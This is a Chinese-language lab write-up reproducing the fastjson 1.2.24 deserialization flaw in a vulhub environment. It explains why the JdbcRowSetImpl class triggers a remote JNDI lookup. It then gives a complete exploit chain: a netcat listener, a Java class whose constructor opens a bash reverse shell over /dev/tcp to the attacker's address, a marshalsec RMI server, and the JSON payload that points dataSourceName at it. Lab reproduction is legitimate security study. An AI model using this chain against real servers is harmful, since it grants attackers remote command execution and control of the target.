fastjson反序列化复现
环境
使用vulhub的1.2.24反序列化漏洞环境
漏洞复现
访问环境地址 环境正常 本次利用的是jdbcRowSetImpl这个类 fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数,因此我们在寻找利用类的时候思路如下:
1、类的成员变量我们可以控制;
2、想办法在调用类的某个set\get\is函数的时候造成命令执行。
有一个类jdbcRowSetImpl这个类里边存在一些set方法 其中有一个方法是setAutoCommit
因为传入了autoCommit:true
会进入else 里边有一个connect方法 会调用lookup 参数为datasource (lookup会远程调用datasourcenname)
当dataSourceName为jndi服务 反序列化jdbcRowSetImpl这个类的时候 就会远程加载jndi恶意构造的类 首先先本地监听
nc -l -p 666
然后生成一个反弹shell的恶意类 Exploit.java
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@bash 0 echo bash -i >&/dev/tcp/192.168.0.101/666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后使用javac命令编译生成Exploit.class文件 然后在此文件夹中使用python开一个http服务
然后使用工具marshalsec-0.0.3-SNAPSHOT-all.jar 启动一个RMI服务器 端口为9999
然后向目标传入
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.101:9999/Exploit",
"autoCommit":true
}
}
数据包改成POST 然后发送数据包 fastjson会调用com.sun.rowset.JdbcRowSetImpl类的set方法 因为autoCommit:true 所以会进入到setAutoCommit中的一个分支 里边的connect会调用lookup方法此方法可以远程加载jndi lookup的参数是传入进去的dataSourceName的值也就是rmi://192.168.0.101:9999/Exploit 然后回调用我们构造好的类 然后就是rce反弹shell